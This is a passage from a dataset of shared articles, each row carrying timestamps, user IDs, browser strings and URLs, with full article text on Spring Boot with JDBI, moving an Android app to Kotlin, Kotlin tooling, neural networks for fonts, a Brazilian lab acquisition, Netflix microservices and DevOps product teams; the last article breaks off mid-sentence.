1477653302,CONTENT SHARED,7202701636941380671,7645894863578715801,3480723906734623856,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://www.sitepoint.com/combining-spring-boot-and-jdbi/,Combining Spring Boot and JDBI,"I recently found myself architecting yet another microservices REST backend. Within the past few years I've written from-scratch backends in Spring , Dropwizard and even in Python using web.py but each has left me wanting more. In this article I'll show how and why I settled on Spring Boot and JDBI as a combination of frameworks which allows me to easily develop REST services backed by a relational datastore. REST Frameworks Let's compare and contrast some of the modern REST frameworks that can be used today in order to build REST services. There are some obvious ones missing (e.g. Ruby on Rails , Flask , Django , NodeJS ) but I'm going to focus on the frameworks that I've personally used to build significant production-grade service tiers. Spring The grandaddy of modern microservices backends, Spring has great dependency injection (DI) and a large extensive library of addons, but it tends to have long startup time and feels quite heavy and enterprisey when compared to some of the newer microservices frameworks. Spring.io itself recently posted this good article drawing out some of the concerns they've heard from developers regarding the Spring framework. It also features out of the box support for Hibernate as an ORM layer, which (feel free to flame me in the comments) in my experience gets in the way as often as it doesn't. It's great for simple relational structures and is quick to bootstrap solutions but as soon as you're dealing with complex data structures or want specific types of queries (say for efficiency) it becomes quite cumbersome. Dropwizard Dropwizard is essentially a REST tier built on a light-weight Jersey container which provides great support for JDBI as an ORM-light solution. I've found JDBI to be a simple way to interact with a DB. Yes, you have to bind your ResultSet s to your model objects manually but I've found it a small price to pay for the great flexibility it provides by allowing me to generate the exact queries I want without having to rely on (and trust) SQL auto-generated by an ORM. In my opinion it's a really nice solution that sits somewhere between JDBC and a full-blown ORM. What Dropwizard doesn't do well is DI. There is support for Guice via extensions like dropwizard-guice but I have found these to be clunky at best. My biggest issue with all of these solutions is that you end up with separate DI graphs for each module. This isn't a problem for simple applications but I've experienced in complex applications that dropwizard-guice becomes quite unwieldy and the separate DI graphs end up having the same class being injected with a different instance/state which can start producing unintended results. I really just want out of the box DI that is easy to use and gets out of the way. This should be plumbing, not an application feature. web.py Well, clearly one of these things is not like the other. I included web.py because I have written a full-featured rest tier in it and if your religion is Python then it's a good choice. If you're actually contemplating a Java-based framework then this obviously isn't your cup of tea. Spring Boot Spring Boot is a lightweight version of Spring that is focussed on creating Spring-like applications that ""just run"". If you're new to Spring Boot there are some excellent getting started guides in the Spring Boot reference guide . Whereas Spring can feel quite enterprisey, Spring Boot both feels and performs like a true first-class microservices framework due to it's quick learning curve and snappy startup. It has the same great support for DI as Spring and also features an extensive library of spring-boot-starter-* maven dependencies that you can use to add support for a great many things. It still, however, uses Hibernate as it's ""native"" ORM tier. Now if that's fine for you then go for it, Spring Boot out of the box is a great solution but for me I just find Hibernate too cumbersome. Hibernate vs JDBI I've stated that Hibernate ""gets in the way"" and that JDBI is ""a really nice solution"", which bears further discussion to draw out a few points. Firstly, there are many Hibernate applications which operate well at scale (and I have developed many), however, there is very much a trend to move away from heavy ORM solutions for some of the following reasons: Hibernate can generate large numbers of unnecessary queries, even due to minor misconfigurations (e.g. here and here , just to illustrate a few). When properly configured it still often performs worse than simple SQL queries . Hibernate is opinionated about your data structure. When you have a data structure that doesn't folow it's notion of keys and relationships the Object-relational Impedance Mismatch is going to hit you even harder. Hybrid-ORM frameworks, such as JDBI, allow more flexibility when mapping to objects and thus provide more runway before you have to start coding significant work arounds for this issue. You don't see the performance problems until you scale! When your application is small and simple everything seems to go along smoothly, then you scale and all of a sudden hibernate queries are the root of your performance problems. I've myself hit this situation many times and it's always taken significant rework to fix the issues. This quora post is an excellent discussion that reinforces some of the points I make above and also touches on others. Note that I am not trying to hate on Hibernate here. It's a good tool and when configured correctly can have great performance in a number of situations (I have personally written high scale solutions using Hibernate as the ORM). So this certainly isn't a right-or-wrong discussion and I do not want to suggest that JBDI is the cure to all evils. But it is an alternative to a ""heavy"" ORM like Hibernate and can make your life easier as a developer. I have personally encountered many tech companies which are happily using JDBI inside Dropwizard and would not move back to using Hibernate. So what's a savvy software engineer to do? Integrating Spring Boot + JDBI I wanted the best of both Spring Boot DI as well as a nice simple and consice ORM layer using JDBI so I created spring-boot-jdbi-seed . This project on GitHub features a full rest tier (note: no security, that's for another blog post) as well as integration tests, Checkstyle, FindBugs, etc and you can use it as a scaffold for your next project if you want to. Here, I want to focus on specifically what I had to do to get Spring Boot and JDBI integrated. build.gradle Firstly I had to get rid of those hibernate libs, so I excluded them in my build.gradle file: In exchange I added the dependencies I need: I also added joda-time to allow for DateTime objects to be serialized to/from the DB. Personally, I prefer it over Java 8 Date and Time because Interval , PeriodFormatter , or PeriodType are not available in Java-8. application.properties Next I added the data access properties configuration to application.properties . Spring Boot nicely allows us to use the generic spring.datasource.* properties rather than any jdbi-specific properties. Note that I used MySQL as the DB but that can be swapped out with whichever driver you want to use of course. ServiceApplication Next I set the JVM timezone default to UTC so that all DateTime objects will be set to UTC. This helps greatly serializing to/from the DB and not accidentally getting timezone conversions being applied when they shouldn't be. Secondly, we're registering JodaModule so that we can actually serialize the instances. PersistenceConfiguration As a final step I created the Spring Boot configuration that will actually expose JDBI as well as map date/time objects. The full code can be found in PersistenceConfiguration.java but I'll draw out the key code here: Autowire and Use JDBI That's it, now you can autowire and use a DBI object to do everything that JDBI allows you to do. I personally tend to use the JDBI SQL Object API which I find a simple and convinient way to query data but you can read the docs and use what's right for you. Running the Code Make sure you have Java 8 , Git and MySQL installed on your machine. The project includes a gradle wrapper so you do not need to install Gradle. Execute the following on the command line: Now you can run the Spring Boot service and call the test REST service: You'll see the response Hello there, this is a test! which is actually data obtained from the my_test table in the database via the TestResource class. Full source code can be found at spring-boot-jdbi-seed , please fork and use at your leisure! Summary Spring Boot and Dropwizard are both great microservices frameworks but, in my opinion, each leaves something to be desired. Specifically, Dropwizard lacks first-class dependency injection (DI) support and Spring Boot comes with Hibernate built in, which may not be the best choice for your needs (at least it usually isn't for mine). I've shown above how we can combine some of the best of both worlds by integrating JDBI with Spring Boot. I've been quite happy using this combination of technologies for some significant projects and I hope you will be too!",en
1477655012,CONTENT SHARED,2543311963908571128,7645894863578715801,3480723906734623856,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://medium.com/keepsafe-engineering/lessons-from-converting-an-app-to-100-kotlin-68984a05dcb6,Lessons from converting an app to 100% Kotlin - Keepsafe Engineering,"This is part one in a series of posts about Kotlin. Click here for part 2, where I discuss the design of the Kotlin language . I've been following the development of Kotlin for a while. Kotlin is a relatively new language that primarily targets the JVM, and is interoperable with Java. With the release of Kotlin version 1.0.2 , which brought incremental compilation and a large reduction in the number of methods in its standard library, I was eager to start using it in production. I'm the lead engineer on App Lock at Keepsafe , which, like most Android apps, was written in Java. There are quite a few places where Java falls short of modern languages, especially the version of Java 7 that Android supports. To reduce the pain, it is common to use libraries such as Retrolambda for a backport of lambdas and try-with-resources, Guava for immutable collections and utility functions, ButterKnife for view binding, or ReactiveX for functional programming. All of those libraries come with drawbacks, though. Retrolambda frequently causes incremental builds to fail, and every library you depend on adds methods to your APK. Even with those libraries, Java code is verbose. Your code has to go through a lot of ceremony that the designers of Java thought was a good idea in the 90s, but is clearly unnecessary today. Kotlin provides a well thought-out syntax and extensive standard library that removes many of the pain points that exist in Java. So over the course of a few days, I converted the entire App Lock codebase into Kotlin. Here are my thoughts on the process. Kotlin vs Java in App Lock One concern that people will raise about converting to Kotlin is the number of methods added by its standard library. Thanks to massive libraries like the support library and GMS, many apps are in danger of bumping up against the Dex method limit . I used the dexcount gradle plugin to break down the method count before and after the rewrite. The end result is that the total method count after proguard decreased by 10% from 5491 to 4987 (not counting GMS or appcompat). The code count decreased by 30% from 12,371 lines of Java, to 8,564 lines of Kotlin. Converting the app from Java to Kotlin reduced the total method count by 10%, and the total lines of code by 30% The method count decrease is a result of both Kotlin being a more concise language, as well as the fact that many of the quality of life libraries that were previously used in Java are no longer necessary. Retrolambda Retrolambda generates an anonymous class for every lambda which add several methods each. Kotlin has inline methods to which a lambda can be passed without adding any extra methods. For example, the extremely useful standard library function : Which is called like this: Even though you're defining a lambda function at the call site, no anonymous class is generated, so no extra methods are added, and no allocation happens due to that call. In fact, the apply function itself, like most inline functions in the Kotlin standard library, doesn't cause a method to be added in the compiled code. Guava The entirety of Guava is covered by the Kotlin standard library, which has the additional advantage of being easier to use. Big Guava ComparisonChains can be replaced with a few characters with the kotlin.comparisons functions . The null safety of Guava's Optional class is built in to Kotlin . Guava's lazy fields and Preconditions classes are covered by the Kotlin standard library . Nearly all of Guava's collections classes exist in Kotlin . Even with all of that functionality, the entire Kotlin standard library is still smaller than Guava alone. ButterKnife ButterKnife can still be used in Kotlin, but the Kotlin Android Extensions provide a more natural way to access bound views. Other solution also exist such as Kotterknife and Anko , but I find that regular XML layouts with the Kotlin Android Extensions are currently the best way to work with Views. Kotterknife requires more boilerplate than the extensions. Anko adds thousands of methods, and its DSL is often more complicated and less capable than XML. RxJava RxJava is still awesome, and I still use it in many places in App Lock. But since Java on Android doesn't have functional methods on collections, I will sometimes use RxJava as a substitute. Something like this in Java: Can be replaced with this in Kotlin: Getting started with Kotlin If you already know Java, learning Kotlin is easy. You can work through the Kotlin Koans online , and the reference documentation is very well written. Jake Wharton also gave a great talk about some of the useful syntax features in Kotlin . The best part about Kotlin is that it can be called from Java, and Java can be called from Kotlin. So you don't need to convert your entire codebase at once. I would suggest you start with a single file that you rewrite from scratch. IntelliJ has an automated Java-to-Kotlin converter, but it frequently produces incorrect code, so it's better to start from scratch until you have a better handle on the language. Once you have the basics down, I recommend picking some existing Java code that has few dependencies, and converting it to Kotlin. UI code like an Activity of Fragment on Android is a good place. Picking a class with no dependencies allows you to focus on just the code you're working on without worrying about how any interfaces are changing. Keep the Kotlin reference open so that you can quickly answer questions about syntax or the standard library that come up while you're working. You could also choose to start new Kotlin code from scratch instead of converting from Java, but I find that it's easier to pick up some of the less obvious syntax from converted code than trying to figure it out from a blank slate. The automated conversion does a really good job in most cases, and the places where it fail are usually easy to fix. Something to keep in mind while you're learning Kotlin is to avoid getting overwhelmed. If you don't already use a design pattern like MVP or MVVM, don't worry about try to learn it at the same time. Don't worry about finding every Kotlin library available. Just focus on taking what you know about Java and translating that knowledge to Kotlin. If you still have pain points, then you can add more libraries or design patterns. Should you convert your entire codebase at once? After you've got some Kotlin working in your codebase, you'll have to decide whether or not to convert everything at once, or take it more slowly. Fortunately, Kotlin has excellent two-way interoperability with Java, so you can convert single classes at a time, and ship with both languages running together. For large codebases, it can be too much work to convert everything in one release. In Keepsafe's main app , about 15% of the code is Kotlin as of this writing. In that app, if we have to make significant changes to a Java class, we'll usually convert the class to Kotlin while we're working on it. This allows us to steadily improve the codebase without slowing down our work on new features. However, if your project is small enough that you can convert to 100% Kotlin, it's something worth considering. When you don't have to maintain Java compatibility, you can simplify your internal APIs and remove a lot of the libraries I talked about earlier. You can convert static utility classes into extension functions, and take advantage of the stronger type inference in Kotlin. Final thoughts Kotlin is a great language, and is a huge improvement over Java. Converting App Lock to Kotlin resulted in an app that was faster, smaller, and which had fewer bugs than before. The language is mature enough now that there were no important features missing, in either the tooling, the language, or the standard library. If you're wondering whether to give Kotlin a try now or if you should wait a while longer, I can tell you that Kotlin is ready for full time production use now. If you work with Android or another Java environment where Kotlin is a possibility, you owe it to yourself to give Kotlin a try.",en
1477657476,CONTENT SHARED,-8606063418076691067,7645894863578715801,3480723906734623856,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,http://blog.dripstat.com/kotlin-in-production-the-good-the-bad-and-the-ugly-2/,"Kotlin in Production - What works, Whats broken","We have been using Kotlin in the DripStat backend since Kotlin's 1.0 release using the Kotlin Intellij plugin. Here is a summary of our experiences as of Kotlin 1.0.3. The Good At the language level, Kotlin seems to be excellent. 1 - Seamless Java interop Kotlin nails the Java interop at the language level. It is completely seamless. This was the reason why we were comfortable introducing Kotlin in our codebase in the first place. 2 - Less verbosity Kotlin code is much less verbose than Java code. This makes it more pleasing to both read and write. 3 - Null checks Kotlin enforces null checks at the language level. When you interact with Java code, it even extends that to the runtime level. This has resulted in catching some bugs pretty early and also more robust code. What can be improved 1 - Lack of parallelStream() Kotlin's collection api have no equivalent to Java's parallelStream() . This is dearly missed. 2 - Cannot subclass Data classes This is something that we feel the need for more and more as our codebase grows. It seems to be planned for Kotlin 1.1 but doesnt exist as of today. 3 - Type inference on method return values While type inference everywhere else results in more concise code, on method return values, it results in an actual loss of information . You cannot tell the type of the variable unless you look at the called method's signature, and the IDE plugin currently doesn't show the type. While Kotlin does allow specifying the variable type, it results in much more verbosity than Java. Whats Broken We have found that the Intellij plugin for Kotlin is extremely buggy and very far behind Java. 1 - Editor crashes This is such a huge issue since 1.0.3 that we cannot write any more Kotlin code. The editor frequently stops doing syntax highlighting, code completion etc. The only remedy when this happens is to restart the entire IDE. 2 - Inaccurate Call Hierarchy view The Call Hierarchy view frequently doesn't show all calls to a method if that method is used across both Java and Kotlin. This is an extremely serious bug. Entire technical decisions can be based on whether a piece of code is used in a certain location. The fact that the Call Hierarchy view shows incomplete information has a huge impact. 3 - Flaky gradle integration The Kotlin Gradle integration has been pretty flaky in the past. It almost feels like every new release of either Gradle or Kotlin breaks it. We are almost afraid of upgrading either due to this. 4 - Cant see inferred variable type For a language that uses type inference so heavily, you would expect the IDE to have top-notch support for showing the type of variables. However, this is broken in the Kotlin Intellij plugin. It is also surprising that Intellij forces you to press a keyboard shortcut each time to bring this up, instead of showing the variable type constantly in a fixed location like the status bar. 5 - Refactorings While it does have very basic move class, rename class, rename method refactorings, the vast majority of refactorings from Java are simply not present. Even the rename refactoring is extremely limited. 6 - No Postfix completion, Duplicate Detection Postfix completion and Duplicate detection come to mind as some of the many features we have come to rely on and frequently use in the Java editor, that are simply not present. Conclusion Kotlin seemed to promise a better Java, without compromises. It does achieve that at the language level. However, a big part of using Java is Jetbrains' own excellent Java tooling. Here the Kotlin plugin has a lot of work to do to catch up with what Jetbrains has built over 15 years for Java.",en
1477659200,CONTENT SHARED,6591221581057159843,-1443636648652872475,-8951456062437820672,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://erikbern.com/2016/01/21/analyzing-50k-fonts-using-deep-neural-networks/,Analyzing 50k fonts using deep neural networks,"For some reason I decided one night I wanted to get a bunch of fonts. A lot of them. An hour later I had a bunch of scrapy scripts pulling down fonts and a few days later I had more than 50k fonts on my computer. I then decided to convert it to bitmaps. It turns out this is a bit trickier than it might seem like. You need to crop in such a way that each character of a font is vertically aligned, and scale everything to fit the bitmap. I started with 512 * 512 bitmaps of all character. For every font you find the max y and min y of the bounding box, and the same thing for each individual letter. After some more number juggling I was able to scale all characters down to 64 * 64. The result is a tensor of size 56443 * 62 * 64 * 64. Exercise for the reader: where does the number 62 come from? I stored it as a tiny little (13GB) HDF5 file that you can download here: fonts.hdf5. If you take the average of all fonts, here's what you get: Hopefully by now it should be clear where the number 62 came from. The median is a lot less blurry than the average: Both mean and median are well-formed and legible! However individual fonts are all over the place: I guess I practically begged for it, stealing fonts from various sketchy places all over the web.In particular most of the fonts don't even have lower case versions of the letters. A minority of fonts miss certain characters and will just output rectangles instead. And look at the ridiculous Power Ranger figure for the lower case ""c""! Training a neural network Now, let's train a neural network that generates characters! Specifically what I wanted to do is to create a ""font vector"" that is a vector in latent space that ""defines"" a certain font. That way we embed all fonts in a space where similar fonts have similar vectors. I built a simple neural network using Lasagne/Theano - check out the code here . It took an insane amount of time to converge, probably because there's so much data and parameters. After weeks of running, the model converges to something that looks decent. Some notes on the model 4 hidden layers of fully connected layers of width 1024. The final layer is a 4096 layer (64 * 64) with sigmoid nonlinearity so that the output is between 0 (white) and 1 (black). L1 loss between predictions and target. This works much better than L2 which generates very ""gray"" images - you can see qualitatively in the pictures above. Pretty strong L2 regularization of all parameters. Leaky rectified units (alpha=0.01) of nonlinearity on each layer. The first layer is 102D - each font is a 40D vector joined with a 62D binary one-hot vector of what is the character. Learning rate is 1.0 which is shockingly high - seemed to work well. Decrease by 3x when no improvements on the 10% test set is achieved in any epoch. Minibatch size is 512 - seemed like larger minibatches gave faster convergence for some weird reason. No dropout, didn't seem to help. I did add some moderate Gaussian noise (of sigma 0.03) to the font vector and qualitatively it seemed to help a bit. Very simple data augmentation by blurring the input randomly with sigma sampled from [0, 1]. My theory was that this would help fitting characters that have thin lines. All of the code is available in the erikbern/deep-fonts repo on Github. After convergence, we end up having a nice 40D embedding of all 50k fonts. Looks like it ends up being roughly a multivariate normal - here's the distribution of each of the 40 dimensions: Playing around with the model To start with, let's recreate real font characters with characters generated from the network. Let's plot the real character together with the model outputs. For each pair below, the real character is on the left, the model output on the right. These are all characters drawn from the test set , so the network hasn't seen any of them during training. All we're telling the network is (a) what font it is (b) what character it is. The model has seen other characters of the same font during training, so what it does is to infer from those training examples to the unseen test examples. The network does a decent job at most of the characters, but gives up on some of the more difficult ones. For instance, characters with thin black lines are very hard to predict for the model, since if it renders the line just a few pixel to the side, that's twice the loss of just rendering whitespace. We can also interpolate between different fonts in continuous space. Since every font is a vector, we can create arbitrary font vectors and generate output from it. Let's sample four fonts and put them in the corners of a square, then interpolate between them! Certain characters have multiple forms that we can interpolate between, eg. lowercase g: We can also pick a font vector and generate new fonts from random perturbations: (btw internet god - please forgive me for wasting bandwidth on all the animated gifs in this blog post!) We can also generate completely new fonts. If we model the distribution of font vectors as a multivariate normal, we can sample random vectors from it and look at the fonts they generate. I'm interpolating between a few of those vectors in the picture below: An interesting thing here is that the model has learned that many fonts use upper case characters for the lower case range - the network interpolates between Q and q seamlessly. Here's an example of the network interpolating very slowly between two fonts where this is the main difference: Another cool thing we can do since we have all fonts in a continuous space is to run t-SNE on them and embed all fonts into the 2D plane. Here's a small excerpt of such an embedding: Final remarks There are many other fun things you can do. It's clear that there's some room for improvement here. In particular, if I had more time, I would definitely explore generative adversarial models, which seems better at generating pictures. Another few things should be relatively easy to implement, such as batch normalization and parametric leaky rectifications. And finally the network architecture itself could probably benefit from doing deconvolutions instead of fully connected layers Feel free to download the data and play around with it if you're interested!",en
1477660745,CONTENT SHARED,1642787330067525131,-2820994773540913369,2754938799836633114,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.valor.com.br/empresas/4757687/dasa-compra-maior-rede-de-laboratorios-do-nordeste,Dasa compra maior rede de laboratórios do Nordeste,"SÃO PAULO - A Diagnósticos da América S.A. (Dasa) informou nesta quinta-feira que ontem aprovou a aquisição da totalidade do capital da Laboratório de Análises Clínicas Gilson Cidrim Ltda, do Recife, em Pernambuco. A administração da Dasa afirmou que vai avaliar se essa aquisição precisa ser submetida à ratificação pelos acionistas da companhia em assembleia geral. O Laboratório Gilson Cidrim foi fundado pelo bacteriologista Gilson Cidrim, membro da Sociedade Brasileira de Análises Clínicas e da Sociedade Americana de Microbiologia. Em operação desde 1997, a empresa é hoje a maior rede de laboratórios do Nordeste, com 69 unidades. A compra foi aprovada ontem pela totalidade dos membros do conselho de administração, sem ressalvas. O valor do negócio e outros detalhes não foram informados. A administração informou que a diretoria da companhia ficou ""devidamente autorizada a tomar as providências necessárias à implementação da deliberação sobre o negócio, incluindo a negociação de preço, forma de pagamento e todos os demais termos e condições da operação, a assinatura do contrato de compra e venda de quotas, contratos acessórios e quaisquer outros documentos que se façam necessários, ficando ainda ratificados todos os atos praticados nesse sentido até o momento"".",pt
1477661749,CONTENT SHARED,-4831310174172854034,7645894863578715801,3480723906734623856,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://medium.com/built-to-adapt/standing-on-the-shoulders-of-giants-59762fb0c155,Standing on the Shoulders of Giants - Built to Adapt,"Back in 1869 when Washington Roebling started work on the Brooklyn Bridge, there wasn't a tradition of collaboration among fellow bridge builders. Engineers were encouraged to mind their own business and rarely offered up insight that would be deemed ""valuable"" to rivals. This meant that information about a mysterious illness crippling workers building a bridge in St. Louis was not socialized with the professional community. If Roebling had access to this information, or the findings from Europe about this affliction later labeled ""the bends,"" the lives of many men would have been spared. What does this have to do with microservices? As it turns out, a lot. We're now in a period of unprecedented openness and collaboration among technical colleagues. Instead of building systems made up of proprietary technology and closely-guarded local knowledge, companies are constructing modern microservices with the help of open source software and patterns evangelized by forward-thinking members of the community. This sharing of assets helps developers build more reliable software, faster. And almost no one shares their software assets quite like Netflix. Instead of building systems made up of proprietary technology and closely-guarded local knowledge, companies are constructing modern microservices with the help of open source software and patterns evangelized by forward-thinking members of the community. Netflix is a media giant, with over 80 million global customers who watch more than 125 million hours of streaming content everyday. During primetime hours, Netflix consumption constitutes 35% of all Internet traffic in North America. In 2008, Netflix started their journey to the cloud and microservices for three reasons: availability, scale, and speed. As a 24x7 service, Netflix needs to be ""always on"" and their monolithic code base made troubleshooting problems difficult. Back then, a single missing semicolon took the entire Netflix site down for hours! The company also faced scaling challenges that were hard to address within a single monolithic application. As Netflix added more types of user interfaces to their service and expanded into more geographies, they couldn't easily scale individual parts of their application. It was all or nothing. Finally, Netflix needed to optimize for speed. In a competitive market, companies like Netflix have to help teams deliver more software, faster, and that's not easily achievable when everyone steps all over themselves in a single monolithic system. Netflix is a software-driven business, so their engineers constructed an impressive array of software that builds upon foundational components from Amazon Web Services, their chosen cloud provider. As an early adopter of microservices and highly-resilient cloud systems, Netflix solved a number of these complex problems that most companies are just starting to face. They've shared these hard-fought lessons in the form of open source software that anyone can use to build cloud- scale systems. Microservices: Opportunities and Challenges With a microservices architecture, you have many individual components, each associated with a specific responsibility, loosely coupled to each other, continuously delivered by independent teams through automation. Let's unpack that sentence, and compare these attributes to those of a monolithic software solution. ... many individual components ... Traditional business systems are often monolithic in nature. All of the business logic, user experience, and integration interfaces are part of a single code-base or software installation. It's often fairly self-contained, but not modular in a way that supports component upgrades. Conversely, a microservices architecture has lots of little pieces that may be dedicated to a given application, or shared by many systems. ""Micro"" is meant to refer to the scope of the service, so don't get caught up in ""physical size"" or ""lines-of-code"" as meaningful attributes. ... each associated with a specific responsibility ... In his O'Reilly book titled Migrating to Cloud-Native Application Architectures , Matt Stine says that it's about creating: ""... independently deployable services that do 'one thing well.' That one thing usually represents a business capability, or the smallest 'atomic' unit of a service that delivers business value."" A hallmark of microservices is building discrete services that don't encroach on the domain of others. As a reference, the principles of ""domain driven design"" help teams successfully define their boundaries. Because services should ""own"" whatever they need to deliver a given business capability, experts recommend that microservices have their own data store. This concept requires a major shift in how we've traditionally design software, but offers a compelling approach to those have spent years building or maintaining dense, tangled systems. ... loosely coupled to each other ... One of the major challenges in a monolithic business system is the interconnectedness of all the components. Are you changing the database structure, swapping out a web server, or altering some business logic? Often this requires an update to numerous components because of the uncomfortable closeness of all the pieces. As a result, teams shy away from making (necessary) updates because of the many ways that things could go wrong. Conversely, microservices encourage loose coupling. Services interact with each other through contracts or messaging buses, and have zero knowledge about the implementation details. The owner of a particular microservice can responsibly iterate on the service without fear of shattering a fragile relationship with its ecosystem. Thus, encouraging teams to make frequent changes. ... continuously delivered by independent teams .... If one believes in Conway's Law - the observation that systems reflect the organizational communication paths of those who build them - then a transition to microservices must be accompanied by a corresponding change in the team. The same project teams and line-of-business hierarchies that created a data center full of monolithic business systems cannot successfully create a microservices architecture. Instead, microservices often bring about a major change in team structure and tooling. If the goal is to continuously deliver business logic in the form of microservices, then software teams need the autonomy and directive to build and deploy focused services all on their own. This means that short-lived project teams give way to long-lived, independent product teams. These teams don't file tickets to do deployments; they directly push to production early and often. The team makeup consists of all the skills needed to design, build, and deploy the service. Such teams have the personnel, permission, and technology needed to iterate constantly and get the results of each iteration into production immediately. The same project teams and line-of-business hierarchies that created a data center full of monolithic business systems cannot successfully create a microservices architecture. ... through automation. Pivotal's Casey West says that microservices are about ""automating the path to production."" It's virtually impossible to ship software constantly if the delivery pipeline is manual, as it has historically been with monolithic software. Automation is a core part of the microservices experience, enabled via continuous integration, continuous delivery, and continuous deployment. Continuous integration refers to the practice of developers merging all their code multiple times per day. Instead of slogging through the ""integration testing"" phase of a project where countless unforeseen mismatches occur between code modules, continuous integration ensures that issues bubble up faster. There are a lot of logistics required to constantly execute tests, so modern teams rely on event-driven automation to retrieve source code, stand up infrastructure, and execute tests. If all the tests pass, code could be considered production ready. Continuous delivery happens when code is packaged and capable of being deployed to production. Capable being the key word here. There could be many reasons why the pipeline is completely automated, but code is purposely gated before actually getting deployed, usually related to business timing. Continuous deployment goes one step further and involves every change automatically moving to a production environment. All of these techniques require a careful assessment of current deployment procedures, and a ruthless focus on eliminating waste and automating manual steps. The result? Repeatable, timely deployments that greatly reduce the amount of time needed to get valuable software into the hands of your customers. In this paper, we take a look at the architectural challenges Netflix faced, what they've released as open source software, why this software matters to you, and how Pivotal makes it easy to consume Netflix software as part of Spring Cloud. To learn more, download the free white paper here .",en
1477662640,CONTENT SHARED,4532698165746826599,7645894863578715801,3480723906734623856,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0,SP,BR,HTML,https://medium.com/built-to-adapt/what-happens-when-no-one-and-everyone-owns-a-product-4f76ebb85455,What Happens When No One and Everyone Owns a Product? - Built to Adapt,"And how DevOps can help Your company decides to bring a new digital experience to the market - maybe an application that allows a patient, during a doctor's visit, to access the prescriptions they are filling at their local pharmacy. Or maybe an app that advises a driver on the parking spaces available in garages within a one-mile radius of the current location. The idea is just a beginning, and hence fragile. It will need to be funded, and with the shepherding of a project manager it will move from the shoals of uncertainty through build, test and run phases. While this waterfall process was expressly designed for software delivery (and taught in university curriculum when I was in school), the cloud has changed the context. Velocity, or rapid iteration and early-and-often shipping, is the rhythm of product development for a digital business. And what was once state-of-the art is now an ungainly process that cannot meet today's requirements. Does this look familiar? That animation might make you snicker, and some may even cringe a bit, because it tells a typical story of a waterfall process where individuals from a variety of silos jump in and out of a project, generate the artifacts for which they are responsible and hand them off to the participant responsible for the next phase. This graphic is an oversimplification - the human and team dynamics at play make the process anything but simple! The reality is that things get passed forward, backward, and sideways. And perhaps the worst part is that the people working in their silos are incentivized to see the trees and not the forest. They report that they've done their part, and in a discrete sense, this can often be at odds with the larger picture of bringing the software product to market. Not surprisingly, more often than not it yields unsatisfactory outcomes. For example, application developers are usually rewarded for building features within a particular time period. Quality assurance (QA) on the other hand, is most often measured - and rewarded - by the number of bugs they fix. When development schedules get tight, developer teams start working unsustainable hours. They might spend less time writing automated tests, in order to stay on schedule, so the quality degrades. As a result, QA finds more bugs, for which they are rewarded. The silos are locally optimized, but the global outcome of releasing a feature-rich, robust, and stable application is often more difficult to achieve. The Gumball Machine Team I'm betting you've heard the concept of product teams. In contrast to the project teams described above, product teams draw together a range of different skills and responsibilities to execute against a goal, where the incentive for the entire team is to reach that goal and deliver customer value. Okay, so all of this makes sense at the high level, but as with anything in execution the devil is in the details. The first question you might ask is ""What skills do we need to bake into a product team, and where do I get them?"" The answer to the second part of that question is simple: you already have most of the ingredients. They're the folks in your current silos, whom you have to regroup in a different (product) context. For the first part of the question, as with many things the answer is: It depends. You weigh a number of factors, the most important one being that everyone understands the product they are building and - spoiler alert - running in production. Pivotal helps clients work on two different classes of product, and we correspondingly advocate for two basic kinds of product teams. New Tribes: Application and Platform Teams One class of products are the applications you want to build for your constituents: anyone from customers, suppliers and partners, to colleagues. Let's call the teams that build this class of products the application teams. The second class of products are in fact a single product - the Pivotal Cloud Foundry ® (PCF) platform. Think of PCF as a product that you ""build"" and operate to bring an entire ecosystem of development services to life. Wait. What? Pivotal builds PCF, right? What do you mean that I (the customer) would build and operate PCF? So Pivotal is in fact building PCF by writing the code and producing releases that you drop into your data centers or cloud environments. But by standing up PCF for your application team users, or specifically by implementing required policies and practices within that instantiation, you are making it your own. For example, you might want to write entries in an audit log every time an app is deployed, scaled, or upgraded, and you would do that by snapping that feature into the platform. Let's call this team responsible for building and operating the platform - shaping it to optimize their workloads - the platform team. The following diagram depicts the surface area they cover, and responsibilities of the application and platform teams. It's not a coincidence that the lists look very similar - these are the activities of a team that is responsible for bringing products to their consumers. With the stage now set, let's come back to the question posed earlier: ""For each of these products, what skills do we need to bring into the product team, and where will I get them?"" Again, starting with the latter part of the question, here is a rough sketch of how IT might be structured at your company: I'm betting groups like Enterprise Architecture and Chief Security Office (CSO), and the other groups shown here are familiar. So let's have a little fun with all of these gumballs: Let's simplify and sort these roles into the right houses - starting with the houses being the application team and the platform team that I talked about above. We can start with some roles from application design and development, and operations: From the middleware and App Dev group and going to the App Team, we have the software architect and software developers - from both the server and client sides. This first move is not controversial and needs no further explanation. The middleware engineer goes to the Platform Team. This engineer is responsible for the platform on which applications will be developed and run. It is where they previously installed and configured application servers such as WebSphere, JBoss, WebLogic, or Tomcat, and are now responsible for the buildpacks that are made available in the PCF installation. Since PCF natively supports Java, .Net, Ruby, PHP, Python, Node.js and GoLang, and there may be different middleware engineers configuring and maintaining support for these different frameworks, voila: to the Platform team. The final role we've moved over at this juncture is operations. In a great many organizations that I've spent time with, both application operations and infrastructure/systems operations are handled by one organization within IT. Developers wrote the code, helped with the initial deploy and after a short period stepped away from the day-to-day operations of their application. The DevOps movement has transformed all of this. It has not necessarily made the developer responsible for operations. But developers generally do participate in ongoing operations to a greater extent that they have before, and it is certainly the case that application teams take on the operations responsibility. Notice that each of the product teams - both app and platform - take on the operations role of their product. We've taken what has been a single role and distributed it so that every product team now includes it as a first-class role. It means that everyone on these product teams are responsible for the full lifecycle of the product . That is the scope of accountability in a modern platform era. There are many more roles and gumballs that we need to sort into their appropriate houses, but we'll 